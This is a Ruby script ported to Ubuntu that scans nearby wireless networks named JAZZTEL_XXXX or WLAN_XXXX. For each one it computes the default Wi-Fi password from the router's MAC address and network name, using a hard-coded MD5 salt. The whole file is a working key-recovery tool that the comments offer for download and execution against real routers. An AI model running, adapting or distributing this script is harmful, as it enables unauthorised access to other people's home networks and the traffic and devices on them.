jazzfonica

jazzfonica.rb

#!/usr/bin/env ruby
# jazzfonica.rb for Mac OS X
# Scans the visible networks for JAZZTEL_XXXX or WLAN_XXXX and calculates the password
# Ported from PHP example at http://kz.ath.cx/wlan/codigo.txt
# Download and execute with ruby (e.g. ruby jazzfonica.rb) from a Terminal

#ported to ubuntu from https://gist.github.com/1024587
#it will ask for sudo privileges. 
#if your wlan card is not "wlan0" change the "my_wifi_card" variable

require 'digest/md5'

my_wifi_card = "wlan0"

messages = []
  output = IO.popen(" sudo iwlist #{my_wifi_card} scan | egrep 'Address|ESSID' | tr '\n' ' '  " ).first
  #we want to get a list of macaddress|ESSIDname. Some regexp magic to clean the output to that format
  ssids = output.gsub(/\s/,'').gsub(/ESSID:"(.*?)"/, "|\\1\n").gsub(/^.+?:/,'').gsub(/(.*)\|(.*)/,"\\2|\\1").split("\n")
    
  ssids.each do |line| 
    next unless line =~ /^(WLAN|JAZZTEL)_/
    puts "checking #{line} ------------------"
    messages << "Red: #{line.split("|")[0]}\nClave: #{Digest::MD5.hexdigest('bcgbghgg' << line.split("|")[1].split.join("\n").upcase.gsub( /:/, '')[0,8] << line.split("|")[0].split("_")[1].upcase << line.split("|")[1].split.join("\n").upcase.gsub( /:/, ''))[0,20]}\n" unless line.split("|")[0].split("_")[1].length != 4
  end    
  puts messages.length <= 0 ? "No se han encontrado redes WLAN_XXXX o JAZZTEL_XXXX" : messages.each { |msg| msg }